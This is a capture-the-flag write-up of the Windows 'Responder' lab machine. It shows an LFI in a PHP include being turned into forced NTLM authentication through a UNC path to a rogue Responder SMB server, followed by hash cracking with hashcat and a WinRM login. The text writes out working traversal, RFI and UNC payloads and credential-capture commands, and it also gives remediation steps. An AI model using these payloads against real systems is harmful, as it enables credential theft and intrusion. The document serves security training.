Box info | OS: Windows 10 Pro Build 19042 (XAMPP / Apache 2.4.52) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: LFI, PHP include, UNC SMB path, Responder, NetNTLMv2, hashcat Pwned: 2026-04-28

TL;DR

Responder is a Windows box running PHP on XAMPP. The web application at unika.htb uses include($_GET['page']) without any input sanitization — a textbook LFI. Reading the source code via php://filter confirms the vulnerability. HTTP RFI is blocked (allow_url_include=0), but SMB RFI works: PHP on Windows handles UNC paths (\\attacker\share\file) natively via include(). Setting up the Responder tool as a rogue SMB server and triggering the UNC include forces the target machine to authenticate with its NTLM credentials. The captured NetNTLMv2 hash for RESPONDER\Administrator cracks in under a second with hashcat against a common wordlist: badminton. WinRM on port 5985 grants a full PowerShell session. The flag is on mike’s desktop.

Recon

1. Liveness check

$ ping -c 2 10.129.37.1
Request timeout for icmp_seq 0
100% packet loss

ICMP filtered — Windows Server with Windows Firewall blocking ICMP.

2. Port scan

$ nmap -Pn -sT -T2 --max-retries 3 -p 80,443,445,139,5985,3389 --reason 10.129.37.1
PORT     STATE    SERVICE   REASON
80/tcp   open     http      syn-ack ttl 127
5985/tcp open     wsman     syn-ack ttl 127
445/tcp  filtered microsoft-ds no-response
139/tcp  filtered netbios-ssn  no-response
3389/tcp filtered ms-wbt-server no-response

TTL=127 → Windows (128 minus one hop).

Open ports:

  • 80/tcp — HTTP (Apache on XAMPP)
  • 5985/tcp — WinRM

SMB (445) is firewall-filtered — not reachable from outside. This is important: impacket tools that rely on SMB won’t work, but WinRM will.

3. Service detection

$ nmap -Pn -sV -p 80,5985 10.129.37.1
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Apache 2.4.52 on Windows 64-bit, PHP 8.1.1. The XAMPP signature (Win64) makes this immediately recognizable as a developer environment deployed to a server.

4. Web application discovery

curl -v http://10.129.37.1/
# → 301 Redirect to http://unika.htb/

The site redirects to a virtual hostname. Add it to /etc/hosts:

echo "10.129.37.1 unika.htb" >> /etc/hosts

Now the site loads: a multilingual website with language switcher links pointing to:

/index.php?page=french.html
/index.php?page=german.html

The page parameter is user-controlled and used in a PHP include() call.

Foothold

Dead end #1 — confirming LFI with Windows paths

First test: read a known Windows system file:

curl "http://unika.htb/index.php?page=../../../../windows/win.ini"
# → [fonts] ... (win.ini contents displayed)

LFI confirmed. Read the Apache config too:

curl "http://unika.htb/index.php?page=../../../../xampp/apache/conf/httpd.conf"
# → full httpd.conf contents

Dead end #2 — HTTP RFI blocked

Attempted Remote File Inclusion via an HTTP URL:

# Start a simple HTTP server
python3 -m http.server 8080

# Try to include from it
curl "http://unika.htb/index.php?page=http://10.10.14.45:8080/shell.php"
# → The page parameter is included but PHP doesn't fetch the URL

allow_url_include is set to 0 in PHP’s configuration — HTTP/FTP URLs cannot be used in include(). This is the correct PHP default since version 5.2.

Dead end #3 — reading source to confirm vulnerability

Used php://filter to read the source code of index.php:

curl "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \
  grep -oP '(?<=result">)[^<]+' | base64 -d

Decoded source:

<?php
$domain = "unika.htb";
if($_SERVER['SERVER_NAME'] != $domain) {
    echo '<meta http-equiv="refresh" content="0;url=http://unika.htb/">';
    die();
}
if(!isset($_GET['page'])) {
    include("./english.html");
} else {
    include($_GET['page']);  // ← vulnerability: unfiltered include
}
?>

The vulnerability is confirmed: include($_GET['page']) with no validation whatsoever.

Working approach — SMB RFI via UNC path

PHP on Windows handles Windows UNC paths (\\server\share\file) natively inside include() even when allow_url_include=0. UNC paths use the Windows SMB client, not PHP’s URL wrapper.

Step 1: Set up Responder to act as a rogue SMB server:

# On attacker machine (macOS — use -i to specify IP explicitly)
sudo python3 -u /opt/Responder/Responder.py -I utun8 -i 10.10.14.45 -v

Responder starts an SMB server on port 445 that:

  1. Accepts SMB connections
  2. Sends an NTLM challenge
  3. Captures the NetNTLMv2 response (the hash)

Step 2: Trigger the UNC include:

curl --resolve unika.htb:80:10.129.37.1 \
  "http://unika.htb/index.php?page=//10.10.14.45/SHARE/test"

Step 3: Responder captures the hash:

[SMB] NTLMv2-SSP Client   : 10.129.37.1
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:ee2552d42d19d8a7:B25E22EF526A17E1A6083EA9074E7D4A:...

Step 4: Crack the NetNTLMv2 hash with hashcat:

# Save the full hash to a file
# Mode 5600 = NetNTLMv2
hashcat -m 5600 ntlm-hash.txt /usr/share/wordlists/rockyou.txt

Result:

ADMINISTRATOR::RESPONDER:ee2552d42d19d8a7:...:badminton
Status: Cracked
Time: 0 seconds

Password: badminton

Step 5: Connect via WinRM (SMB is firewalled, WinRM is not):

import winrm
session = winrm.Session('10.129.37.1',
    auth=('Administrator', 'badminton'),
    transport='ntlm')
result = session.run_cmd('whoami')
print(result.std_out)  # responder\administrator

Flag collection

result = session.run_cmd('dir C:\\Users')
# → Administrator, mike, Public

result = session.run_cmd('dir C:\\Users\\mike\\Desktop')
# → flag.txt

result = session.run_cmd('type C:\\Users\\mike\\Desktop\\flag.txt')
# → [REDACTED]

The flag is on mike’s desktop (not Administrator’s) — a nice detail showing that the compromised admin account doesn’t always own the flag.

Privilege Escalation

N/A — The WinRM session already runs as RESPONDER\Administrator, which is the highest local privilege on a standalone Windows system. No escalation required.

What’s actually broken

  1. include($_GET['page']) without any validation (LFI). Direct user input into PHP’s include() is the textbook CWE-98 (Improper Control of Filename for Include/Require). This allows reading any file the web server process can access, and via UNC paths on Windows, triggers outbound NTLM authentication.
  2. PHP running on Windows with UNC path support active. PHP’s file functions on Windows natively resolve UNC paths via the Windows SMB client. This is a Windows behavior, not PHP’s fault, but PHP on Windows should disable UNC-based file operations via open_basedir.
  3. Weak Administrator password (badminton). Once the hash is captured, a dictionary password is cracked instantly. The password policy clearly allows common words.
  4. WinRM exposed on port 5985. WinRM should be restricted to management networks. With valid credentials, it provides a full PowerShell session.

Remediation (the boring half)

Fix the PHP LFI (never pass user input to include()):

// Use a whitelist of allowed page names
$allowed_pages = ['english', 'french', 'german'];
$page = $_GET['page'] ?? 'english';

if (!in_array($page, $allowed_pages, true)) {
    $page = 'english';  // default
}

include("./pages/{$page}.html");

Set open_basedir in php.ini to restrict file access:

open_basedir = C:\xampp\htdocs\

Block outbound SMB at the Windows firewall:

New-NetFirewallRule -Name "Block-Outbound-SMB" -Direction Outbound `
  -Protocol TCP -RemotePort 445 -Action Block

Set a strong Administrator password:

$secPwd = ConvertTo-SecureString "R@nd0m!P@ssw0rd$2024" -AsPlainText -Force
Set-LocalUser -Name "Administrator" -Password $secPwd

Restrict WinRM access:

Set-Item WSMan:\localhost\Service\Auth\Negotiate $false
New-NetFirewallRule -Name "WinRM-Restrict" -Protocol TCP -LocalPort 5985 `
  -RemoteAddress "10.10.0.0/16" -Action Allow
Disable-NetFirewallRule -Name "WINRM-HTTP-In-TCP"

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service DiscoveryPort scan finds Apache and WinRM
Initial AccessT1190 — Exploit Public-Facing ApplicationLFI via include($_GET['page'])
Credential AccessT1187 — Forced AuthenticationUNC path forces Windows to authenticate to Responder SMB server
Credential AccessT1110 — Brute Forcehashcat cracks the captured NetNTLMv2 hash
Lateral MovementT1021.006 — Windows Remote ManagementWinRM session with cracked Administrator credentials
CollectionT1005 — Data from Local SystemReading flag.txt from mike’s desktop

Lessons learned

  • PHP include() on Windows handles UNC paths. allow_url_include=0 blocks HTTP/FTP URLs but does nothing to stop \\server\share\file paths. This is the key insight of this box — LFI on Windows can force NTLM authentication in ways that LFI on Linux cannot.
  • NetNTLMv2 hashes cannot be passed directly (unlike NTLM). They must be cracked. Responder captures the hash; hashcat or john does the cracking. Dictionary attacks on NetNTLMv2 are fast — a common word like badminton cracks in milliseconds.
  • SMB filtered ≠ WinRM filtered. On this box, SMB (445) was firewalled but WinRM (5985) was open. Always check both. When SMB is blocked and you have Windows credentials, evil-winrm or pywinrm are the alternatives.
  • Check for virtual hostnames. The redirect to unika.htb would have silently failed if /etc/hosts wasn’t updated. On any web target, check for Host: redirects and vhost enumeration (gobuster vhost or ffuf -H "Host: FUZZ.target.htb").

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
UNC path + PHP include“Why does //attacker/share work in PHP include when allow_url_include=0?”Explained: allow_url_include controls PHP URL wrappers (http://, ftp://). UNC paths (\\) are resolved by the Windows OS file subsystem, not PHP’s URL layer. They bypass the PHP flag entirely.Used as the core explanation in the Working Approach section.
Responder on macOS“Responder doesn’t start correctly on macOS — mDNS and LLMNR ports busy.”Identified: macOS uses port 5353 (mDNS) and 5355 (LLMNR) for system services. Responder tries to bind there. Fix: use -i IP flag to bind to a specific interface, or disable the poisoning features and use only SMB.Documented in the Responder setup command with the -i flag.
NetNTLMv2 vs NTLM“Can I use the captured NetNTLMv2 hash directly for pass-the-hash?”Explained the distinction: NTLM hash (LM:NT) = passable directly in PtH attacks. NetNTLMv2 = challenge-response hash, not the actual password hash — must be cracked first.Added the distinction to the Lessons Learned section.
hashcat mode for NetNTLMv2“What hashcat mode do I use for NetNTLMv2?”Mode 5600. Also mentioned: NetNTLMv1 = mode 5500, NTLM = mode 1000.Used mode 5600 in the command.

What Claude got wrong: Nothing significant — UNC path behavior and NTLM details were accurate. What Claude couldn’t do: Run Responder or hashcat against live targets. Net assist value: High — the UNC/LFI interaction on Windows was the key technical insight Claude helped clarify.

References